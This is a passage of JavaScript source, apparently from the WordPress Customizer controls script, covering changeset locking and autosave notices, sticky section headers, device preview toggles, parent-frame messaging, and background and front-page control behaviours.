					if ( ! queryParams.changeset_uuid ) {
						return;
					}
					delete queryParams.changeset_uuid;
				}
				urlParser.search = $.param( queryParams );
				history.replaceState( {}, document.title, urlParser.href );
			};

			// Show changeset UUID in URL when in branching mode and there is a saved changeset.
			if ( api.settings.changeset.branching ) {
				changesetStatus.bind( function( newStatus ) {
					populateChangesetUuidParam( '' !== newStatus && 'publish' !== newStatus && 'trash' !== newStatus );
				} );
			}
		}( api.state ) );

		/**
		 * Handles lock notice and take over request.
		 *
		 * @since 4.9.0
		 */
		( function checkAndDisplayLockNotice() {

			var LockedNotification = api.OverlayNotification.extend(/** @lends wp.customize~LockedNotification.prototype */{

				/**
				 * Template ID.
				 *
				 * @type {string}
				 */
				templateId: 'customize-changeset-locked-notification',

				/**
				 * Lock user.
				 *
				 * @type {object}
				 */
				lockUser: null,

				/**
				 * A notification that is displayed in a full-screen overlay with information about the locked changeset.
				 *
				 * @constructs wp.customize~LockedNotification
				 * @augments   wp.customize.OverlayNotification
				 *
				 * @since 4.9.0
				 *
				 * @param {string} [code] - Code.
				 * @param {Object} [params] - Params.
				 */
				initialize: function( code, params ) {
					var notification = this, _code, _params;
					_code = code || 'changeset_locked';
					_params = _.extend(
						{
							message: '',
							type: 'warning',
							containerClasses: '',
							lockUser: {}
						},
						params
					);
					_params.containerClasses += ' notification-changeset-locked';
					api.OverlayNotification.prototype.initialize.call( notification, _code, _params );
				},

				/**
				 * Render notification.
				 *
				 * @since 4.9.0
				 *
				 * @return {jQuery} Notification container.
				 */
				render: function() {
					var notification = this, li, data, takeOverButton, request;
					data = _.extend(
						{
							allowOverride: false,
							returnUrl: api.settings.url['return'],
							previewUrl: api.previewer.previewUrl.get(),
							frontendPreviewUrl: api.previewer.getFrontendPreviewUrl()
						},
						this
					);

					li = api.OverlayNotification.prototype.render.call( data );

					// Try to autosave the changeset now.
					api.requestChangesetUpdate( {}, { autosave: true } ).fail( function( response ) {
						if ( ! response.autosaved ) {
							li.find( '.notice-error' ).prop( 'hidden', false ).text( response.message || api.l10n.unknownRequestFail );
						}
					} );

					takeOverButton = li.find( '.customize-notice-take-over-button' );
					takeOverButton.on( 'click', function( event ) {
						event.preventDefault();
						if ( request ) {
							return;
						}

						takeOverButton.addClass( 'disabled' );
						request = wp.ajax.post( 'customize_override_changeset_lock', {
							wp_customize: 'on',
							customize_theme: api.settings.theme.stylesheet,
							customize_changeset_uuid: api.settings.changeset.uuid,
							nonce: api.settings.nonce.override_lock
						} );

						request.done( function() {
							api.notifications.remove( notification.code ); // Remove self.
							api.state( 'changesetLocked' ).set( false );
						} );

						request.fail( function( response ) {
							var message = response.message || api.l10n.unknownRequestFail;
							li.find( '.notice-error' ).prop( 'hidden', false ).text( message );

							request.always( function() {
								takeOverButton.removeClass( 'disabled' );
							} );
						} );

						request.always( function() {
							request = null;
						} );
					} );

					return li;
				}
			});

			/**
			 * Start lock.
			 *
			 * @since 4.9.0
			 *
			 * @param {Object} [args] - Args.
			 * @param {Object} [args.lockUser] - Lock user data.
			 * @param {boolean} [args.allowOverride=false] - Whether override is allowed.
			 * @return {void}
			 */
			function startLock( args ) {
				if ( args && args.lockUser ) {
					api.settings.changeset.lockUser = args.lockUser;
				}
				api.state( 'changesetLocked' ).set( true );
				api.notifications.add( new LockedNotification( 'changeset_locked', {
					lockUser: api.settings.changeset.lockUser,
					allowOverride: Boolean( args && args.allowOverride )
				} ) );
			}

			// Show initial notification.
			if ( api.settings.changeset.lockUser ) {
				startLock( { allowOverride: true } );
			}

			// Check for lock when sending heartbeat requests.
			$( document ).on( 'heartbeat-send.update_lock_notice', function( event, data ) {
				data.check_changeset_lock = true;
				data.changeset_uuid = api.settings.changeset.uuid;
			} );

			// Handle heartbeat ticks.
			$( document ).on( 'heartbeat-tick.update_lock_notice', function( event, data ) {
				var notification, code = 'changeset_locked';
				if ( ! data.customize_changeset_lock_user ) {
					return;
				}

				// Update notification when a different user takes over.
				notification = api.notifications( code );
				if ( notification && notification.lockUser.id !== api.settings.changeset.lockUser.id ) {
					api.notifications.remove( code );
				}

				startLock( {
					lockUser: data.customize_changeset_lock_user
				} );
			} );

			// Handle locking in response to changeset save errors.
			api.bind( 'error', function( response ) {
				if ( 'changeset_locked' === response.code && response.lock_user ) {
					startLock( {
						lockUser: response.lock_user
					} );
				}
			} );
		} )();

		// Set up initial notifications.
		(function() {
			var removedQueryParams = [], autosaveDismissed = false;

			/**
			 * Obtain the URL to restore the autosave.
			 *
			 * @return {string} Customizer URL.
			 */
			function getAutosaveRestorationUrl() {
				var urlParser, queryParams;
				urlParser = document.createElement( 'a' );
				urlParser.href = location.href;
				queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
				if ( api.settings.changeset.latestAutoDraftUuid ) {
					queryParams.changeset_uuid = api.settings.changeset.latestAutoDraftUuid;
				} else {
					queryParams.customize_autosaved = 'on';
				}
				queryParams['return'] = api.settings.url['return'];
				urlParser.search = $.param( queryParams );
				return urlParser.href;
			}

			/**
			 * Remove parameter from the URL.
			 *
			 * @param {Array} params - Parameter names to remove.
			 * @return {void}
			 */
			function stripParamsFromLocation( params ) {
				var urlParser = document.createElement( 'a' ), queryParams, strippedParams = 0;
				urlParser.href = location.href;
				queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
				_.each( params, function( param ) {
					if ( 'undefined' !== typeof queryParams[ param ] ) {
						strippedParams += 1;
						delete queryParams[ param ];
					}
				} );
				if ( 0 === strippedParams ) {
					return;
				}

				urlParser.search = $.param( queryParams );
				history.replaceState( {}, document.title, urlParser.href );
			}

			/**
			 * Displays a Site Editor notification when a block theme is activated.
			 *
			 * @since 4.9.0
			 *
			 * @param {string} [notification] - A notification to display.
			 * @return {void}
			 */
			function addSiteEditorNotification( notification ) {
				api.notifications.add( new api.Notification( 'site_editor_block_theme_notice', {
					message: notification,
					type: 'info',
					dismissible: false,
					render: function() {
						var notification = api.Notification.prototype.render.call( this ),
							button = notification.find( 'button.switch-to-editor' );

						button.on( 'click', function( event ) {
							event.preventDefault();
							location.assign( button.data( 'action' ) );
						} );

						return notification;
					}
				} ) );
			}

			/**
			 * Dismiss autosave.
			 *
			 * @return {void}
			 */
			function dismissAutosave() {
				if ( autosaveDismissed ) {
					return;
				}
				wp.ajax.post( 'customize_dismiss_autosave_or_lock', {
					wp_customize: 'on',
					customize_theme: api.settings.theme.stylesheet,
					customize_changeset_uuid: api.settings.changeset.uuid,
					nonce: api.settings.nonce.dismiss_autosave_or_lock,
					dismiss_autosave: true
				} );
				autosaveDismissed = true;
			}

			/**
			 * Add notification regarding the availability of an autosave to restore.
			 *
			 * @return {void}
			 */
			function addAutosaveRestoreNotification() {
				var code = 'autosave_available', onStateChange;

				// Since there is an autosave revision and the user hasn't loaded with autosaved, add notification to prompt to load autosaved version.
				api.notifications.add( new api.Notification( code, {
					message: api.l10n.autosaveNotice,
					type: 'warning',
					dismissible: true,
					render: function() {
						var li = api.Notification.prototype.render.call( this ), link;

						// Handle clicking on restoration link.
						link = li.find( 'a' );
						link.prop( 'href', getAutosaveRestorationUrl() );
						link.on( 'click', function( event ) {
							event.preventDefault();
							location.replace( getAutosaveRestorationUrl() );
						} );

						// Handle dismissal of notice.
						li.find( '.notice-dismiss' ).on( 'click', dismissAutosave );

						return li;
					}
				} ) );

				// Remove the notification once the user starts making changes.
				onStateChange = function() {
					dismissAutosave();
					api.notifications.remove( code );
					api.unbind( 'change', onStateChange );
					api.state( 'changesetStatus' ).unbind( onStateChange );
				};
				api.bind( 'change', onStateChange );
				api.state( 'changesetStatus' ).bind( onStateChange );
			}

			if ( api.settings.changeset.autosaved ) {
				api.state( 'saved' ).set( false );
				removedQueryParams.push( 'customize_autosaved' );
			}
			if ( ! api.settings.changeset.branching && ( ! api.settings.changeset.status || 'auto-draft' === api.settings.changeset.status ) ) {
				removedQueryParams.push( 'changeset_uuid' ); // Remove UUID when restoring autosave auto-draft.
			}
			if ( removedQueryParams.length > 0 ) {
				stripParamsFromLocation( removedQueryParams );
			}
			if ( api.settings.changeset.latestAutoDraftUuid || api.settings.changeset.hasAutosaveRevision ) {
				addAutosaveRestoreNotification();
			}
			var shouldDisplayBlockThemeNotification = !! parseInt( $( '#customize-info' ).data( 'block-theme' ), 10 );
			if (shouldDisplayBlockThemeNotification) {
				addSiteEditorNotification( api.l10n.blockThemeNotification );
			}
		})();

		// Check if preview url is valid and load the preview frame.
		if ( api.previewer.previewUrl() ) {
			api.previewer.refresh();
		} else {
			api.previewer.previewUrl( api.settings.url.home );
		}

		// Button bindings.
		saveBtn.on( 'click', function( event ) {
			api.previewer.save();
			event.preventDefault();
		}).on( 'keydown', function( event ) {
			if ( 9 === event.which ) { // Tab.
				return;
			}
			if ( 13 === event.which ) { // Enter.
				api.previewer.save();
			}
			event.preventDefault();
		});

		closeBtn.on( 'keydown', function( event ) {
			if ( 9 === event.which ) { // Tab.
				return;
			}
			if ( 13 === event.which ) { // Enter.
				this.click();
			}
			event.preventDefault();
		});

		$( '.collapse-sidebar' ).on( 'click', function() {
			api.state( 'paneVisible' ).set( ! api.state( 'paneVisible' ).get() );
		});

		api.state( 'paneVisible' ).bind( function( paneVisible ) {
			overlay.toggleClass( 'preview-only', ! paneVisible );
			overlay.toggleClass( 'expanded', paneVisible );
			overlay.toggleClass( 'collapsed', ! paneVisible );

			if ( ! paneVisible ) {
				$( '.collapse-sidebar' ).attr({ 'aria-expanded': 'false', 'aria-label': api.l10n.expandSidebar });
			} else {
				$( '.collapse-sidebar' ).attr({ 'aria-expanded': 'true', 'aria-label': api.l10n.collapseSidebar });
			}
		});

		// Keyboard shortcuts - esc to exit section/panel.
		body.on( 'keydown', function( event ) {
			var collapsedObject, expandedControls = [], expandedSections = [], expandedPanels = [];

			if ( 27 !== event.which ) { // Esc.
				return;
			}

			/*
			 * Abort if the event target is not the body (the default) and not inside of #customize-controls.
			 * This ensures that ESC meant to collapse a modal dialog or a TinyMCE toolbar won't collapse something else.
			 */
			if ( ! $( event.target ).is( 'body' ) && ! $.contains( $( '#customize-controls' )[0], event.target ) ) {
				return;
			}

			// Abort if we're inside of a block editor instance.
			if ( event.target.closest( '.block-editor-writing-flow' ) !== null ||
				event.target.closest( '.block-editor-block-list__block-popover' ) !== null
			) {
				return;
			}

			// Check for expanded expandable controls (e.g. widgets and nav menus items), sections, and panels.
			api.control.each( function( control ) {
				if ( control.expanded && control.expanded() && _.isFunction( control.collapse ) ) {
					expandedControls.push( control );
				}
			});
			api.section.each( function( section ) {
				if ( section.expanded() ) {
					expandedSections.push( section );
				}
			});
			api.panel.each( function( panel ) {
				if ( panel.expanded() ) {
					expandedPanels.push( panel );
				}
			});

			// Skip collapsing expanded controls if there are no expanded sections.
			if ( expandedControls.length > 0 && 0 === expandedSections.length ) {
				expandedControls.length = 0;
			}

			// Collapse the most granular expanded object.
			collapsedObject = expandedControls[0] || expandedSections[0] || expandedPanels[0];
			if ( collapsedObject ) {
				if ( 'themes' === collapsedObject.params.type ) {

					// Themes panel or section.
					if ( body.hasClass( 'modal-open' ) ) {
						collapsedObject.closeDetails();
					} else if ( api.panel.has( 'themes' ) ) {

						// If we're collapsing a section, collapse the panel also.
						api.panel( 'themes' ).collapse();
					}
					return;
				}
				collapsedObject.collapse();
				event.preventDefault();
			}
		});

		$( '.customize-controls-preview-toggle' ).on( 'click', function() {
			api.state( 'paneVisible' ).set( ! api.state( 'paneVisible' ).get() );
		});

		/*
		 * Sticky header feature.
		 */
		(function initStickyHeaders() {
			var parentContainer = $( '.wp-full-overlay-sidebar-content' ),
				changeContainer, updateHeaderHeight, releaseStickyHeader, resetStickyHeader, positionStickyHeader,
				activeHeader, lastScrollTop;

			/**
			 * Determine which panel or section is currently expanded.
			 *
			 * @since 4.7.0
			 * @access private
			 *
			 * @param {wp.customize.Panel|wp.customize.Section} container Construct.
			 * @return {void}
			 */
			changeContainer = function( container ) {
				var newInstance = container,
					expandedSection = api.state( 'expandedSection' ).get(),
					expandedPanel = api.state( 'expandedPanel' ).get(),
					headerElement;

				if ( activeHeader && activeHeader.element ) {
					// Release previously active header element.
					releaseStickyHeader( activeHeader.element );

					// Remove event listener in the previous panel or section.
					activeHeader.element.find( '.description' ).off( 'toggled', updateHeaderHeight );
				}

				if ( ! newInstance ) {
					if ( ! expandedSection && expandedPanel && expandedPanel.contentContainer ) {
						newInstance = expandedPanel;
					} else if ( ! expandedPanel && expandedSection && expandedSection.contentContainer ) {
						newInstance = expandedSection;
					} else {
						activeHeader = false;
						return;
					}
				}

				headerElement = newInstance.contentContainer.find( '.customize-section-title, .panel-meta' ).first();
				if ( headerElement.length ) {
					activeHeader = {
						instance: newInstance,
						element:  headerElement,
						parent:   headerElement.closest( '.customize-pane-child' ),
						height:   headerElement.outerHeight()
					};

					// Update header height whenever help text is expanded or collapsed.
					activeHeader.element.find( '.description' ).on( 'toggled', updateHeaderHeight );

					if ( expandedSection ) {
						resetStickyHeader( activeHeader.element, activeHeader.parent );
					}
				} else {
					activeHeader = false;
				}
			};
			api.state( 'expandedSection' ).bind( changeContainer );
			api.state( 'expandedPanel' ).bind( changeContainer );

			// Throttled scroll event handler.
			parentContainer.on( 'scroll', _.throttle( function() {
				if ( ! activeHeader ) {
					return;
				}

				var scrollTop = parentContainer.scrollTop(),
					scrollDirection;

				if ( ! lastScrollTop ) {
					scrollDirection = 1;
				} else {
					if ( scrollTop === lastScrollTop ) {
						scrollDirection = 0;
					} else if ( scrollTop > lastScrollTop ) {
						scrollDirection = 1;
					} else {
						scrollDirection = -1;
					}
				}
				lastScrollTop = scrollTop;
				if ( 0 !== scrollDirection ) {
					positionStickyHeader( activeHeader, scrollTop, scrollDirection );
				}
			}, 8 ) );

			// Update header position on sidebar layout change.
			api.notifications.bind( 'sidebarTopUpdated', function() {
				if ( activeHeader && activeHeader.element.hasClass( 'is-sticky' ) ) {
					activeHeader.element.css( 'top', parentContainer.css( 'top' ) );
				}
			});

			// Release header element if it is sticky.
			releaseStickyHeader = function( headerElement ) {
				if ( ! headerElement.hasClass( 'is-sticky' ) ) {
					return;
				}
				headerElement
					.removeClass( 'is-sticky' )
					.addClass( 'maybe-sticky is-in-view' )
					.css( 'top', parentContainer.scrollTop() + 'px' );
			};

			// Reset position of the sticky header.
			resetStickyHeader = function( headerElement, headerParent ) {
				if ( headerElement.hasClass( 'is-in-view' ) ) {
					headerElement
						.removeClass( 'maybe-sticky is-in-view' )
						.css( {
							width: '',
							top:   ''
						} );
					headerParent.css( 'padding-top', '' );
				}
			};

			/**
			 * Update active header height.
			 *
			 * @since 4.7.0
			 * @access private
			 *
			 * @return {void}
			 */
			updateHeaderHeight = function() {
				activeHeader.height = activeHeader.element.outerHeight();
			};

			/**
			 * Reposition header on throttled `scroll` event.
			 *
			 * @since 4.7.0
			 * @access private
			 *
			 * @param {Object} header - Header.
			 * @param {number} scrollTop - Scroll top.
			 * @param {number} scrollDirection - Scroll direction, negative number being up and positive being down.
			 * @return {void}
			 */
			positionStickyHeader = function( header, scrollTop, scrollDirection ) {
				var headerElement = header.element,
					headerParent = header.parent,
					headerHeight = header.height,
					headerTop = parseInt( headerElement.css( 'top' ), 10 ),
					maybeSticky = headerElement.hasClass( 'maybe-sticky' ),
					isSticky = headerElement.hasClass( 'is-sticky' ),
					isInView = headerElement.hasClass( 'is-in-view' ),
					isScrollingUp = ( -1 === scrollDirection );

				// When scrolling down, gradually hide sticky header.
				if ( ! isScrollingUp ) {
					if ( isSticky ) {
						headerTop = scrollTop;
						headerElement
							.removeClass( 'is-sticky' )
							.css( {
								top:   headerTop + 'px',
								width: ''
							} );
					}
					if ( isInView && scrollTop > headerTop + headerHeight ) {
						headerElement.removeClass( 'is-in-view' );
						headerParent.css( 'padding-top', '' );
					}
					return;
				}

				// Scrolling up.
				if ( ! maybeSticky && scrollTop >= headerHeight ) {
					maybeSticky = true;
					headerElement.addClass( 'maybe-sticky' );
				} else if ( 0 === scrollTop ) {
					// Reset header in base position.
					headerElement
						.removeClass( 'maybe-sticky is-in-view is-sticky' )
						.css( {
							top:   '',
							width: ''
						} );
					headerParent.css( 'padding-top', '' );
					return;
				}

				if ( isInView && ! isSticky ) {
					// Header is in the view but is not yet sticky.
					if ( headerTop >= scrollTop ) {
						// Header is fully visible.
						headerElement
							.addClass( 'is-sticky' )
							.css( {
								top:   parentContainer.css( 'top' ),
								width: headerParent.outerWidth() + 'px'
							} );
					}
				} else if ( maybeSticky && ! isInView ) {
					// Header is out of the view.
					headerElement
						.addClass( 'is-in-view' )
						.css( 'top', ( scrollTop - headerHeight ) + 'px' );
					headerParent.css( 'padding-top', headerHeight + 'px' );
				}
			};
		}());

		// Previewed device bindings. (The api.previewedDevice property
		// is how this Value was first introduced, but since it has moved to api.state.)
		api.previewedDevice = api.state( 'previewedDevice' );

		// Set the default device.
		api.bind( 'ready', function() {
			_.find( api.settings.previewableDevices, function( value, key ) {
				if ( true === value['default'] ) {
					api.previewedDevice.set( key );
					return true;
				}
			} );
		} );

		// Set the toggled device.
		footerActions.find( '.devices button' ).on( 'click', function( event ) {
			api.previewedDevice.set( $( event.currentTarget ).data( 'device' ) );
		});

		// Bind device changes.
		api.previewedDevice.bind( function( newDevice ) {
			var overlay = $( '.wp-full-overlay' ),
				devices = '';

			footerActions.find( '.devices button' )
				.removeClass( 'active' )
				.attr( 'aria-pressed', false );

			footerActions.find( '.devices .preview-' + newDevice )
				.addClass( 'active' )
				.attr( 'aria-pressed', true );

			$.each( api.settings.previewableDevices, function( device ) {
				devices += ' preview-' + device;
			} );

			overlay
				.removeClass( devices )
				.addClass( 'preview-' + newDevice );
		} );

		// Bind site title display to the corresponding field.
		if ( title.length ) {
			api( 'blogname', function( setting ) {
				var updateTitle = function() {
					var blogTitle = setting() || '';
					title.text( blogTitle.toString().trim() || api.l10n.untitledBlogName );
				};
				setting.bind( updateTitle );
				updateTitle();
			} );
		}

		/*
		 * Create a postMessage connection with a parent frame,
		 * in case the Customizer frame was opened with the Customize loader.
		 *
		 * @see wp.customize.Loader
		 */
		parent = new api.Messenger({
			url: api.settings.url.parent,
			channel: 'loader'
		});

		// Handle exiting of Customizer.
		(function() {
			var isInsideIframe = false;

			function isCleanState() {
				var defaultChangesetStatus;

				/*
				 * Handle special case of previewing theme switch since some settings (for nav menus and widgets)
				 * are pre-dirty and non-active themes can only ever be auto-drafts.
				 */
				if ( ! api.state( 'activated' ).get() ) {
					return 0 === api._latestRevision;
				}

				// Dirty if the changeset status has been changed but not saved yet.
				defaultChangesetStatus = api.state( 'changesetStatus' ).get();
				if ( '' === defaultChangesetStatus || 'auto-draft' === defaultChangesetStatus ) {
					defaultChangesetStatus = 'publish';
				}
				if ( api.state( 'selectedChangesetStatus' ).get() !== defaultChangesetStatus ) {
					return false;
				}

				// Dirty if scheduled but the changeset date hasn't been saved yet.
				if ( 'future' === api.state( 'selectedChangesetStatus' ).get() && api.state( 'selectedChangesetDate' ).get() !== api.state( 'changesetDate' ).get() ) {
					return false;
				}

				return api.state( 'saved' ).get() && 'auto-draft' !== api.state( 'changesetStatus' ).get();
			}

			/*
			 * If we receive a 'back' event, we're inside an iframe.
			 * Send any clicks to the 'Return' link to the parent page.
			 */
			parent.bind( 'back', function() {
				isInsideIframe = true;
			});

			function startPromptingBeforeUnload() {
				api.unbind( 'change', startPromptingBeforeUnload );
				api.state( 'selectedChangesetStatus' ).unbind( startPromptingBeforeUnload );
				api.state( 'selectedChangesetDate' ).unbind( startPromptingBeforeUnload );

				// Prompt user with AYS dialog if leaving the Customizer with unsaved changes.
				$( window ).on( 'beforeunload.customize-confirm', function() {
					if ( ! isCleanState() && ! api.state( 'changesetLocked' ).get() ) {
						setTimeout( function() {
							overlay.removeClass( 'customize-loading' );
						}, 1 );
						return api.l10n.saveAlert;
					}
				});
			}
			api.bind( 'change', startPromptingBeforeUnload );
			api.state( 'selectedChangesetStatus' ).bind( startPromptingBeforeUnload );
			api.state( 'selectedChangesetDate' ).bind( startPromptingBeforeUnload );

			function requestClose() {
				var clearedToClose = $.Deferred(), dismissAutoSave = false, dismissLock = false;

				if ( isCleanState() ) {
					dismissLock = true;
				} else if ( confirm( api.l10n.saveAlert ) ) {

					dismissLock = true;

					// Mark all settings as clean to prevent another call to requestChangesetUpdate.
					api.each( function( setting ) {
						setting._dirty = false;
					});
					$( document ).off( 'visibilitychange.wp-customize-changeset-update' );
					$( window ).off( 'beforeunload.wp-customize-changeset-update' );

					closeBtn.css( 'cursor', 'progress' );
					if ( '' !== api.state( 'changesetStatus' ).get() ) {
						dismissAutoSave = true;
					}
				} else {
					clearedToClose.reject();
				}

				if ( dismissLock || dismissAutoSave ) {
					wp.ajax.send( 'customize_dismiss_autosave_or_lock', {
						timeout: 500, // Don't wait too long.
						data: {
							wp_customize: 'on',
							customize_theme: api.settings.theme.stylesheet,
							customize_changeset_uuid: api.settings.changeset.uuid,
							nonce: api.settings.nonce.dismiss_autosave_or_lock,
							dismiss_autosave: dismissAutoSave,
							dismiss_lock: dismissLock
						}
					} ).always( function() {
						clearedToClose.resolve();
					} );
				}

				return clearedToClose.promise();
			}

			parent.bind( 'confirm-close', function() {
				requestClose().done( function() {
					parent.send( 'confirmed-close', true );
				} ).fail( function() {
					parent.send( 'confirmed-close', false );
				} );
			} );

			closeBtn.on( 'click.customize-controls-close', function( event ) {
				event.preventDefault();
				if ( isInsideIframe ) {
					parent.send( 'close' ); // See confirm-close logic above.
				} else {
					requestClose().done( function() {
						$( window ).off( 'beforeunload.customize-confirm' );
						window.location.href = closeBtn.prop( 'href' );
					} );
				}
			});
		})();

		// Pass events through to the parent.
		$.each( [ 'saved', 'change' ], function ( i, event ) {
			api.bind( event, function() {
				parent.send( event );
			});
		} );

		// Pass titles to the parent.
		api.bind( 'title', function( newTitle ) {
			parent.send( 'title', newTitle );
		});

		if ( api.settings.changeset.branching ) {
			parent.send( 'changeset-uuid', api.settings.changeset.uuid );
		}

		// Initialize the connection with the parent frame.
		parent.send( 'ready' );

		// Control visibility for default controls.
		$.each({
			'background_image': {
				controls: [ 'background_preset', 'background_position', 'background_size', 'background_repeat', 'background_attachment' ],
				callback: function( to ) { return !! to; }
			},
			'show_on_front': {
				controls: [ 'page_on_front', 'page_for_posts' ],
				callback: function( to ) { return 'page' === to; }
			},
			'header_textcolor': {
				controls: [ 'header_textcolor' ],
				callback: function( to ) { return 'blank' !== to; }
			}
		}, function( settingId, o ) {
			api( settingId, function( setting ) {
				$.each( o.controls, function( i, controlId ) {
					api.control( controlId, function( control ) {
						var visibility = function( to ) {
							control.container.toggle( o.callback( to ) );
						};

						visibility( setting.get() );
						setting.bind( visibility );
					});
				});
			});
		});

		api.control( 'background_preset', function( control ) {
			var visibility, defaultValues, values, toggleVisibility, updateSettings, preset;

			visibility = { // position, size, repeat, attachment.
				'default': [ false, false, false, false ],
				'fill': [ true, false, false, false ],
				'fit': [ true, false, true, false ],
				'repeat': [ true, false, false, true ],
				'custom': [ true, true, true, true ]
			};

			defaultValues = [
				_wpCustomizeBackground.defaults['default-position-x'],
				_wpCustomizeBackground.defaults['default-position-y'],
				_wpCustomizeBackground.defaults['default-size'],
				_wpCustomizeBackground.defaults['default-repeat'],
				_wpCustomizeBackground.defaults['default-attachment']
			];

			values = { // position_x, position_y, size, repeat, attachment.
				'default': defaultValues,
				'fill': [ 'left', 'top', 'cover', 'no-repeat', 'fixed' ],
				'fit': [ 'left', 'top', 'contain', 'no-repeat', 'fixed' ],
				'repeat': [ 'left', 'top', 'auto', 'repeat', 'scroll' ]
			};

			// @todo These should actually toggle the active state,
			// but without the preview overriding the state in data.activeControls.
			toggleVisibility = function( preset ) {
				_.each( [ 'background_position', 'background_size', 'background_repeat', 'background_attachment' ], function( controlId, i ) {
					var control = api.control( controlId );
					if ( control ) {
						control.container.toggle( visibility[ preset ][ i ] );
					}
				} );
			};

			updateSettings = function( preset ) {
				_.each( [ 'background_position_x', 'background_position_y', 'background_size', 'background_repeat', 'background_attachment' ], function( settingId, i ) {
					var setting = api( settingId );
					if ( setting ) {
						setting.set( values[ preset ][ i ] );
					}
				} );
			};

			preset = control.setting.get();
			toggleVisibility( preset );

			control.setting.bind( 'change', function( preset ) {
				toggleVisibility( preset );
				if ( 'custom' !== preset ) {
					updateSettings( preset );
				}
			} );
		} );

		api.control( 'background_repeat', function( control ) {
			control.elements[0].unsync( api( 'background_repeat' ) );

			control.element = new api.Element( control.container.find( 'input' ) );
			control.element.set( 'no-repeat' !== control.setting() );

			control.element.bind( function( to ) {
				control.setting.set( to ? 'repeat' : 'no-repeat' );
			} );

			control.setting.bind( function( to ) {
				control.element.set( 'no-repeat' !== to );
			} );
		} );

		api.control( 'background_attachment', function( control ) {
			control.elements[0].unsync( api( 'background_attachment' ) );

			control.element = new api.Element( control.container.find( 'input' ) );
			control.element.set( 'fixed' !== control.setting() );

			control.element.bind( function( to ) {
				control.setting.set( to ? 'scroll' : 'fixed' );
			} );

			control.setting.bind( function( to ) {
				control.element.set( 'fixed' !== to );
			} );
		} );

		// Juggle the two controls that use header_textcolor.
		api.control( 'display_header_text', function( control ) {
			var last = '';

			control.elements[0].unsync( api( 'header_textcolor' ) );

			control.element = new api.Element( control.container.find('input') );
			control.element.set( 'blank' !== control.setting() );

			control.element.bind( function( to ) {
				if ( ! to ) {
					last = api( 'header_textcolor' ).get();
				}

				control.setting.set( to ? last : 'blank' );
			});

			control.setting.bind( function( to ) {
				control.element.set( 'blank' !== to );
			});
		});

		// Add behaviors to the static front page controls.
		api( 'show_on_front', 'page_on_front', 'page_for_posts', function( showOnFront, pageOnFront, pageForPosts ) {
			var handleChange = function() {
				var setting = this, pageOnFrontId, pageForPostsId, errorCode = 'show_on_front_page_collision';
				pageOnFrontId = parseInt( pageOnFront(), 10 );
				pageForPostsId = parseInt( pageForPosts(), 10 );

				if ( 'page' === showOnFront() ) {

					// Change previewed URL to the homepage when changing the page_on_front.
					if ( setting === pageOnFront && pageOnFrontId > 0 ) {
						api.previewer.previewUrl.set( api.settings.url.home );
					}

					// Change the previewed URL to the selected page when changing the page_for_posts.
					if ( setting === pageForPosts && pageForPostsId > 0 ) {
						api.previewer.previewUrl.set( api.settings.url.home + '?page_id=' + pageForPostsId );
					}
				}

				// Toggle notification when the homepage and posts page are both set and the same.
				if ( 'page' === showOnFront() && pageOnFrontId && pageForPostsId && pageOnFrontId === pageForPostsId ) {
					showOnFront.notifications.add( new api.Notification( errorCode, {
						type: 'error',
						message: api.l10n.pageOnFrontError
					} ) );
				} else {
					showOnFront.notifications.remove( errorCode );
				}
			};
			showOnFront.bind( handleChange );
			pageOnFront.bind( handleChange );
			pageForPosts.bind( handleChange );
			handleChange.call( showOnFront, showOnFront() ); // Make sure initial notification is added after loading existing changeset.

			// Move notifications container to the bottom.
			api.control( 'show_on_front', function( showOnFrontControl ) {
				showOnFrontControl.deferred.embedded.done( function() {
					showOnFrontControl.container.append( showOnFrontControl.getNotificationsContainerElement() );
				});
			});
		});

		// Add code editor for Custom CSS.
		(function() {
			var sectionReady = $.Deferred();

			api.section( 'custom_css', function( section ) {
				section.deferred.embedded.done( function() {
					if ( section.expanded() ) {
						sectionReady.resolve( section );
					} else {
						section.expanded.bind( function( isExpanded ) {
							if ( isExpanded ) {
								sectionReady.resolve( section );
							}
						} );
					}
				});
			});

			// Set up the section description behaviors.
			sectionReady.done( function setupSectionDescription( section ) {
				var control = api.control( 'custom_css' );

				// Hide redundant label for visual users.
				control.container.find( '.customize-control-title:first' ).addClass( 'screen-reader-text' );

				// Close the section description when clicking the close button.
				section.container.find( '.section-description-buttons .section-description-close' ).on( 'click', function() {
					section.container.find( '.section-meta .customize-section-description:first' )
						.removeClass( 'open' )
						.slideUp();

					section.container.find( '.customize-help-toggle' )
						.attr( 'aria-expanded', 'false' )
						.focus(); // Avoid focus loss.
				});

				// Reveal help text if setting is empty.
				if ( control && ! control.setting.get() ) {
					section.container.find( '.section-meta .customize-section-description:first' )
						.addClass( 'open' )
						.show()
						.trigger( 'toggled' );

					section.container.find( '.customize-help-toggle' ).attr( 'aria-expanded', 'true' );
				}
			});
		})();

		// Toggle visibility of Header Video notice when active state change.
		api.control( 'header_video', function( headerVideoControl ) {
			headerVideoControl.deferred.embedded.done( function() {
				var toggleNotice = function() {
					var section = api.section( headerVideoControl.section() ), noticeCode = 'video_header_not_available';
					if ( ! section ) {
						return;
					}
					if ( headerVideoControl.active.get() ) {
						section.notifications.remove( noticeCode );
					} else {
						section.notifications.add( new api.Notification( noticeCode, {
							type: 'info',
							message: api.l10n.videoHeaderNotice
						} ) );
					}
				};
				toggleNotice();
				headerVideoControl.active.bind( toggleNotice );
			} );
		} );

		// Update the setting validities.
		api.previewer.bind( 'selective-refresh-setting-validities', function handleSelectiveRefreshedSettingValidities( settingValidities ) {
			api._handleSettingValidities( {
				settingValidities: settingValidities,
				focusInvalidControl: false
			} );
		} );

		// Focus on the control that is associated with the given setting.
		api.previewer.bind( 'focus-control-for-setting', function( settingId ) {
			var matchedControls = [];
			api.control.each( function( control ) {
				var settingIds = _.pluck( control.settings, 'id' );
				if ( -1 !== _.indexOf( settingIds, settingId ) ) {
					matchedControls.push( control );
				}
			} );

			// Focus on the matched control with the lowest priority (appearing higher).
			if ( matchedControls.length ) {
				matchedControls.sort( function( a, b ) {
					return a.priority() - b.priority();
				} );
				matchedControls[0].focus();
			}
		} );

		// Refresh the preview when it requests.
		api.previewer.bind( 'refresh', function() {
			api.previewer.refresh();
		});

		// Update the edit shortcut visibility state.
		api.state( 'paneVisible' ).bind( function( isPaneVisible ) {
			var isMobileScreen;
			if ( window.matchMedia ) {
				isMobileScreen = window.matchMedia( 'screen and ( max-width: 640px )' ).matches;
			} else {
